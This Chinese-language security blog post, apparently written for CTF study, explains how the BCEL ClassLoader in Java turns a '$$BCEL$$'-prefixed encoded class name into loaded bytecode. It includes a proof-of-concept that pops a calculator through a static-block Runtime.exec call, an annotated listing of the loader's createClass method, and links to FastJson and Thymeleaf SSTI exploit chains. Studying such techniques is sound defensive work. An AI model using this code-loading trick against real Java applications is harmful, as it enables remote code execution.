March 21, 2023

BCEL-ClassLoader赛博学习

https://www.cnblogs.com/CoLo/p/15869871.html#about-bcel

BCEL到底是什么

CommonClollections我们都不陌生,Bcel也是位于sun包下的一个项目,是属于Apache Common的一个子项目
我在payload经常看到这个东西,所以就简单写一下它的利用方法和原理

简单分析BCEL-Loadclass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

/**
* Hello world!
*
*/
public class App
{
public static void main( String[] args ) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(calc.class);
String code = Utility.encode(javaClass.getBytes(), true);
//Class.forName("$$BCEL$$"+code,true,new ClassLoader());
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import java.io.IOException;

public class calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

就拿这个简单的payload来看,首先通过Repository去读取calc.class文件,随后使用utility.encode对字节流进行编码,最后在编码结果前加上$$BCEL$$即可弹出计算器(注释中的payload也是可以的)
image.png

流程分析

image.png
\com\sun\org\apache\bcel\internal\util\ClassLoader.java中的loadclass方法中存在上面一段代码,判断classname是否以bcel开头,如果是的话就调用createClass方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);

JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

clazz = parser.parse();
} catch(Throwable e) {
e.printStackTrace();
return null;
}

// Adapt the class name to the passed value
ConstantPool cp = clazz.getConstantPool();

ConstantClass cl = (ConstantClass)cp.getConstant(clazz.getClassNameIndex(),
Constants.CONSTANT_Class);
ConstantUtf8 name = (ConstantUtf8)cp.getConstant(cl.getNameIndex(),
Constants.CONSTANT_Utf8);
name.setBytes(class_name.replace('.', '/'));

return clazz;
}
}

会去除掉BCEL之后进入decode环节进行解密,然后退出来进入下面的if,defineclass
image.png
这里使用java原生的defineclass进行加载,然后newInstance时弹计算机
image.png
貌似和原生的区别也不是很大

Bcel在各个链子中的利用

FastJson BCEL

https://blog.csdn.net/GX233/article/details/124655533

Thymeleaf SSTI BCEL

https://turn1tup.github.io/2021/08/10/spring-boot-thymeleaf-ssti/

懒狗一条

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF